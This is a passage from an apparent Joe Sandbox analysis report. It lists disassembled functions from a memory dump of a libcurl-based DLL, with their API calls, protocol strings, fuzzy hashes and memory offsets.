Opcode Fuzzy Hash: 7f1fd6d46fd02ddcfb91c841bcb4f20df6523fd6434815af444582d422105b27
Instruction Fuzzy Hash: D251397164C601BBEB219B748C49B697BB9AF97704F2041FCED0A9B241EF38C505DBA0

Function 6B8FDCD0 Relevance: 26.7, APIs: 4, Strings: 11, Instructions: 417COMMON

Download Yara Rule

APIs

curl_multi_remove_handle.LIBCURL(?,?,?,00000000,00000000), ref: 6B8FDD78

Part of subcall function 6B9005D0: curl_mvsnprintf.LIBCURL(?,00000100,6B8FC830,?), ref: 6B900610

Strings

bad error code, xrefs: 6B8FDE49, 6B8FDE69
Could not DOH-resolve: %s, xrefs: 6B8FDD20
DOH Host name: %s, xrefs: 6B8FDEB5
DOH AAAA: , xrefs: 6B8FDF27
DOH: %s type %s for %s, xrefs: 6B8FDE6A
CNAME: %s, xrefs: 6B8FDFEF
%s%02x%02x, xrefs: 6B8FDF6C
AAAA, xrefs: 6B8FDE5B
%s, xrefs: 6B8FDFAE
TTL: %u seconds, xrefs: 6B8FDEC6
DOH A: %u.%u.%u.%u, xrefs: 6B8FDF0B

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_multi_remove_handlecurl_mvsnprintf
String ID: %s$%s%02x%02x$AAAA$CNAME: %s$Could not DOH-resolve: %s$DOH A: %u.%u.%u.%u$DOH AAAA: $DOH Host name: %s$DOH: %s type %s for %s$TTL: %u seconds$bad error code
API String ID: 262101408-4053692942
Opcode ID: a05440530ac5f5091dea78b6299a32414a315fafdeec800615f98f1a746a284b
Instruction ID: 6d5494f9680b160c897cc5b528c4279af5bbf221df6da1b726b9fab16be66877
Opcode Fuzzy Hash: a05440530ac5f5091dea78b6299a32414a315fafdeec800615f98f1a746a284b
Instruction Fuzzy Hash: ADF1CF71D002299FEB20DF24CC85BAEB7B9FF59344F0045E9D94CA7242DB399A858F90

Function 6B910A40 Relevance: 19.7, APIs: 5, Strings: 6, Instructions: 455COMMON

Download Yara Rule

Strings

%s://%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s, xrefs: 6B910EE2
%ld, xrefs: 6B910B38, 6B910D13
file, xrefs: 6B910C79
https, xrefs: 6B910CEB, 6B910CF3
%%25%s], xrefs: 6B910DBA
file://%s%s%s, xrefs: 6B910CA6

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID: %%25%s]$%ld$%s://%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s$file$file://%s%s%s$https
API String ID: 0-1832275178
Opcode ID: 53c0f0b5f619e15c602cca90a31a098fa80d36e9ba6b827a10a2a50888d8ba11
Instruction ID: 9dc3c8a6b23125ad09c7b8424845f26ff931659c3609dbb0cbf5caea9a1c0ac9
Opcode Fuzzy Hash: 53c0f0b5f619e15c602cca90a31a098fa80d36e9ba6b827a10a2a50888d8ba11
Instruction Fuzzy Hash: 9CF1FF75A0870D9FDF10CF68D8417AAB7FAEF49354F0085A9E859A7340D73AEC209B61

Function 6B8DF950 Relevance: 14.3, Strings: 11, Instructions: 519COMMON

Download Yara Rule

Strings

CCC, xrefs: 6B8DFD07
AUTH %s, xrefs: 6B8DFB13, 6B8DFBA1
Failed to clear the command channel (CCC), xrefs: 6B8DFD8F
Failed to figure out path, xrefs: 6B8DFF81
We got a 421 - timeout!, xrefs: 6B8DF9F9
ACCT rejected by server: %03d, xrefs: 6B8DFC4A
Entry path is '%s', xrefs: 6B8DFEE0, 6B8DFF32
Got a %03d ftp-server response when 220 was expected, xrefs: 6B8DFA91
PROT %c, xrefs: 6B8DFCA8
SYST, xrefs: 6B8DFE91
unsupported parameter to CURLOPT_FTPSSLAUTH: %d, xrefs: 6B8DFB47

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID: ACCT rejected by server: %03d$AUTH %s$CCC$Entry path is '%s'$Failed to clear the command channel (CCC)$Failed to figure out path$Got a %03d ftp-server response when 220 was expected$PROT %c$SYST$We got a 421 - timeout!$unsupported parameter to CURLOPT_FTPSSLAUTH: %d
API String ID: 0-547999808
Opcode ID: b0d8ca8827f26be8bb9de48b946904abf01db32553b1e5bfedfc372e0c623a5c
Instruction ID: 22b31ab5936e6e7d249156b7d9ffe473a987ef552b47bfc0d161dfead4cbd5e7
Opcode Fuzzy Hash: b0d8ca8827f26be8bb9de48b946904abf01db32553b1e5bfedfc372e0c623a5c
Instruction Fuzzy Hash: 21F11475B042189FDB10CF38D8517AEB3B2EF95319F1005FAD80E8B241DB3A9D459B91

Function 6B8D7730 Relevance: 12.9, Strings: 10, Instructions: 382COMMON

Download Yara Rule

Strings

digit, xrefs: 6B8D77BA
upper, xrefs: 6B8D7A4B
blank, xrefs: 6B8D79FA
print, xrefs: 6B8D7900
space, xrefs: 6B8D79A9
xdigit, xrefs: 6B8D78AF
graph, xrefs: 6B8D7951
alpha, xrefs: 6B8D785E
lower, xrefs: 6B8D7A9C
alnum, xrefs: 6B8D780D

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID: alnum$alpha$blank$digit$graph$lower$print$space$upper$xdigit
API String ID: 0-2602438971
Opcode ID: 6879abfd637f03b6066af9e44716105dc3b733af9e86e795299ebecc185ae4ac
Instruction ID: 4b156e6cd480af8647b8fa7c74c623de29d6a7c88e5ff5be6c83cb6439b15ada
Opcode Fuzzy Hash: 6879abfd637f03b6066af9e44716105dc3b733af9e86e795299ebecc185ae4ac
Instruction Fuzzy Hash: 6CC1B42AB4C1894AC701CF7895A17FABBB7DF56358F5848EBC886CB242D61FD908C351

Function 6B8F0C10 Relevance: 11.6, Strings: 9, Instructions: 334COMMON

Download Yara Rule

Strings

Mailbox UIDVALIDITY has changed, xrefs: 6B8F0F05
Select failed, xrefs: 6B8F0F62
OK [UIDVALIDITY %19[0123456789]], xrefs: 6B8F0EA0
Authentication cancelled, xrefs: 6B8F0DE7
STARTTLS denied, xrefs: 6B8F0D51
Access denied. %c, xrefs: 6B8F0E0B
CAPABILITY, xrefs: 6B8F0CED
PREAUTH connection, already authenticated!, xrefs: 6B8F0CCD
Got unexpected imap-server response, xrefs: 6B8F100E

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID: Access denied. %c$Authentication cancelled$CAPABILITY$Got unexpected imap-server response$Mailbox UIDVALIDITY has changed$OK [UIDVALIDITY %19[0123456789]]$PREAUTH connection, already authenticated!$STARTTLS denied$Select failed
API String ID: 0-2459144044
Opcode ID: 72bbe854431989f235549f32fe48b693617f1902ae0c83819a3d417438f1ef54
Instruction ID: e0345d3838ceb31aeb59ed3a87245386d5a3e78aa4a3c12e39219a08e1e755fb
Opcode Fuzzy Hash: 72bbe854431989f235549f32fe48b693617f1902ae0c83819a3d417438f1ef54
Instruction Fuzzy Hash: 52B13074F082059FD7009F74DC82FAEB7ACEF45398F000979D91997281E73DA65A87A2

Function 6B8F20A0 Relevance: 10.6, APIs: 7, Instructions: 60encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 6B8F20C3
CryptCreateHash.ADVAPI32(00000000,00008002,00000000,00000000,00000000), ref: 6B8F20DD
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 6B8F20F7
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 6B8F2111
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000010,00000000), ref: 6B8F212B
CryptDestroyHash.ADVAPI32(00000000), ref: 6B8F2139
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 6B8F2149

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: Crypt$Hash$ContextParam$AcquireCreateDataDestroyRelease
String ID:
API String ID: 3606780921-0
Opcode ID: 758966a6a404c74c0002fc1f0b54143afe1e2fb0f373f7e78a4190db69819f61
Instruction ID: 60010c4a5f631ecb5afbec8ed54000b410a150c3a27dc24a0adc3e15bb865c1a
Opcode Fuzzy Hash: 758966a6a404c74c0002fc1f0b54143afe1e2fb0f373f7e78a4190db69819f61
Instruction Fuzzy Hash: 7D113A74A44208BBEF20AF90CC4AF9DBB7CEB06700F1040A0FA14B61D4D7B9EA54DB24

Function 6B8D8010 Relevance: 9.1, APIs: 6, Instructions: 118encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000040,?), ref: 6B8D803A
CryptImportKey.ADVAPI32(?,00000208,00000014,00000000,00000000,?,?,?), ref: 6B8D80E9
CryptReleaseContext.ADVAPI32(?,00000000,?), ref: 6B8D80F8
CryptEncrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000008,00000008,?), ref: 6B8D812D
CryptDestroyKey.ADVAPI32(?), ref: 6B8D8136
CryptReleaseContext.ADVAPI32(?,00000000), ref: 6B8D8141

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: Crypt$Context$Release$AcquireDestroyEncryptImport
String ID:
API String ID: 3016261861-0
Opcode ID: a022eb0b8a6218708b13c42a92fdbcf5464a89ad9fe57b100844eeb5bda984dc
Instruction ID: 429d42d2a752aa4adf6526942cd42d154899d5609ea117bfcaba72bc767e560c
Opcode Fuzzy Hash: a022eb0b8a6218708b13c42a92fdbcf5464a89ad9fe57b100844eeb5bda984dc
Instruction Fuzzy Hash: 9D41B435904249AFEF11DFA8C846BEEBFB5EF1B300F105095E564A7381C736A50ADB60

Function 6B8FA790 Relevance: 8.0, Strings: 6, Instructions: 501COMMON

Download Yara Rule

Strings

%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz], xrefs: 6B8FA837
<, xrefs: 6B8FAC18
GMT, xrefs: 6B8FA927, 6B8FA936
+, xrefs: 6B8FAAA8
%02d:%02d:%02d%n, xrefs: 6B8FA9AC
%02d:%02d%n, xrefs: 6B8FA9D9

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID: %02d:%02d%n$%02d:%02d:%02d%n$%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]$+$<$GMT
API String ID: 0-3646017816
Opcode ID: a85ed697f5c3e7b9a0b639c96d6739b42c53ea316cbc8bebae64c41073a5b5e6
Instruction ID: 9f6d12aba28e34f0b617bb323aa74d79b393fc7c5470f665f95d250f17f3bf28
Opcode Fuzzy Hash: a85ed697f5c3e7b9a0b639c96d6739b42c53ea316cbc8bebae64c41073a5b5e6
Instruction Fuzzy Hash: 3802D371E042188FCF04CEBCD8516DDB7F9EF893A4F15866AE825EB380D73998468B50

Function 6B8F21C0 Relevance: 6.0, APIs: 4, Instructions: 37encryptionCOMMON

Download Yara Rule

APIs

CryptGetHashParam.ADVAPI32(?,00000002,00000000,?,00000000), ref: 6B8F21DC
CryptGetHashParam.ADVAPI32(00000010,00000002,?,00000010,00000000), ref: 6B8F21F6
CryptDestroyHash.ADVAPI32(00000010), ref: 6B8F2204
CryptReleaseContext.ADVAPI32(00000010,00000000), ref: 6B8F2214

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: Crypt$Hash$Param$ContextDestroyRelease
String ID:
API String ID: 2110207923-0
Opcode ID: 39b6a85f0724f676bf80479b919f4b5a232bd7f00dd398f22fbac918943bfeb0
Instruction ID: 801e817f15d1454c6abe50467d4199bbb08c7d23a95d939d9d94fd7101302371
Opcode Fuzzy Hash: 39b6a85f0724f676bf80479b919f4b5a232bd7f00dd398f22fbac918943bfeb0
Instruction Fuzzy Hash: 70F04974644209FBEF20DF90CD4AF9ABBBCEB06B41F104854FA65A7180D774EA00AB60

Function 6B92EFE1 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 6B92F0D9
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 6B92F0E3
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 6B92F0F0

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: effda95143ecc0effc7d5e167d383ebd54f496cb73127df1a5b7e7509d57a19f
Instruction ID: e68af20aeccea9964a0a22dd249479312d8a09c90d2f30da64dfb1b41197b4fa
Opcode Fuzzy Hash: effda95143ecc0effc7d5e167d383ebd54f496cb73127df1a5b7e7509d57a19f
Instruction Fuzzy Hash: 9831E375D1522CABCB21DF64DC8979CBBB8BF08314F5081EAE81DA7250EB349B818F44

Function 6B92C43E Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,6B92C43D,?,00000000,?,?,?,6B9284AA), ref: 6B92C460
TerminateProcess.KERNEL32(00000000,?,6B92C43D,?,00000000,?,?,?,6B9284AA), ref: 6B92C467
ExitProcess.KERNEL32 ref: 6B92C479

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: bb80fe08e93f756d3163ec92896e77cff555a76d19e87281f72938865cce2148
Instruction ID: 32005557354aa54205d7f7cc964698dfa56c8e33c62b4c5dfede2b3743b4829b
Opcode Fuzzy Hash: bb80fe08e93f756d3163ec92896e77cff555a76d19e87281f72938865cce2148
Instruction Fuzzy Hash: 96E0EC31414518BFCF116F65C959F593B79EB46B46F108424F81986135CB39D981DB80

Function 6B8F1170 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 218COMMON

Download Yara Rule

APIs

curl_msnprintf.LIBCURL(?,00000005,%lx,00000000,?,?), ref: 6B8F12F9

Strings

%lx, xrefs: 6B8F12F1

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_msnprintf
String ID: %lx
API String ID: 1809024409-1448181948
Opcode ID: 0faff4a5a5893fe5ec3896254927b7c48ce81e0ddf68de8122eab59951e43d8b
Instruction ID: 7efd1477baff933f1a476871c6971e6d6c4967117ca1efa472ce7e131d8f4c03
Opcode Fuzzy Hash: 0faff4a5a5893fe5ec3896254927b7c48ce81e0ddf68de8122eab59951e43d8b
Instruction Fuzzy Hash: B5712A71E0416A8BCB10DEBCC4803ADB7A6EF863A4F144769D469DB6C4E739994BC780

Function 6B8F2160 Relevance: 3.0, APIs: 2, Instructions: 22encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 6B8F2173
CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 6B8F218C

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: Crypt$AcquireContextCreateHash
String ID:
API String ID: 1914063823-0
Opcode ID: 7c5d1299678abab20b80c597a97486dba63159c023c695e25b3ba40ef155e6ac
Instruction ID: 74ff77fa6f9d741071a7ccecae139a8dc67324c955a73036a15af5a08effa962
Opcode Fuzzy Hash: 7c5d1299678abab20b80c597a97486dba63159c023c695e25b3ba40ef155e6ac
Instruction Fuzzy Hash: 7FE01735384714BBFA306A41DC46F9A77ACAB06B90F204421F759BA0C4C7A5F5008BAC

Function 6B92BCF0 Relevance: 1.8, APIs: 1, Instructions: 274COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?), ref: 6B92BF1D

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 7f4e4821c6ba8e7fb6b70928494adb3d281252058f646108259b702704c1c206
Instruction ID: db951772555d10c4bceb3b623119615a7502b99641676a4c7bc08c0ca4bf290b
Opcode Fuzzy Hash: 7f4e4821c6ba8e7fb6b70928494adb3d281252058f646108259b702704c1c206
Instruction Fuzzy Hash: CBB11831A206098FD715CF28C486B957BF0FF45364F258698E9A9CF2A5C339E992CF40

Function 6B8F21A0 Relevance: 1.5, APIs: 1, Instructions: 10encryptionCOMMON

Download Yara Rule

APIs

CryptHashData.ADVAPI32(?,?,?,00000000), ref: 6B8F21B1

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: CryptDataHash
String ID:
API String ID: 4245837645-0
Opcode ID: 41adfc8c744df09728e23df63f022f1a201a707340929262624dd207725d9149
Instruction ID: 23095eea38683d46a43521affa9637d2f66d26903c0011e6276a7f1c96de8a00
Opcode Fuzzy Hash: 41adfc8c744df09728e23df63f022f1a201a707340929262624dd207725d9149
Instruction Fuzzy Hash: B3C00236144208BBCF115F84DC45E997BA9AB09711F048050BA1C4A161C772E560AB84

Function 6B92FBD1 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6B92FBD7, 6B92FBE1

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID: GetSystemTimePreciseAsFileTime
API String ID: 0-595813830
Opcode ID: 6d7d0627847cbd4960f2c3e44d0b2b6ea7f59e67cffa1cf3326c4a13ac241387
Instruction ID: 89b4508061fd4d0e1eba718a6f89056640c4143c593ee6db2ef4c846c9735d31
Opcode Fuzzy Hash: 6d7d0627847cbd4960f2c3e44d0b2b6ea7f59e67cffa1cf3326c4a13ac241387
Instruction Fuzzy Hash: B0E02B3398462473C72031D19C05FAD7B94CBB07F6F004276FE0855200A57EC851C2E0

Function 6B920050 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 33cb8780c8d766ce3e30ce5728ea9f34cb4f3022964ae1b3a176afc12aaf182a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 20110877AE014243F308893DD4B47ABB7ADFBC7225B2842EAD1A14B65CD53BE145D600

Function 6B8D7380 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c68a8d4a0846ebc4b09b0a145e38f1195cbc43887bcb385cbd8187a09426d5f
Instruction ID: 5ddaa9cefb2b781c62aa4ba1c7314ca29963bb3d2801084d0bc99cd37caa46e9
Opcode Fuzzy Hash: 9c68a8d4a0846ebc4b09b0a145e38f1195cbc43887bcb385cbd8187a09426d5f
Instruction Fuzzy Hash: B7F0BE2610292007EF12582D60C1AF3A78BCBE6924AE264A1988C439D2865F340FD2E4

Function 6B931C01 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

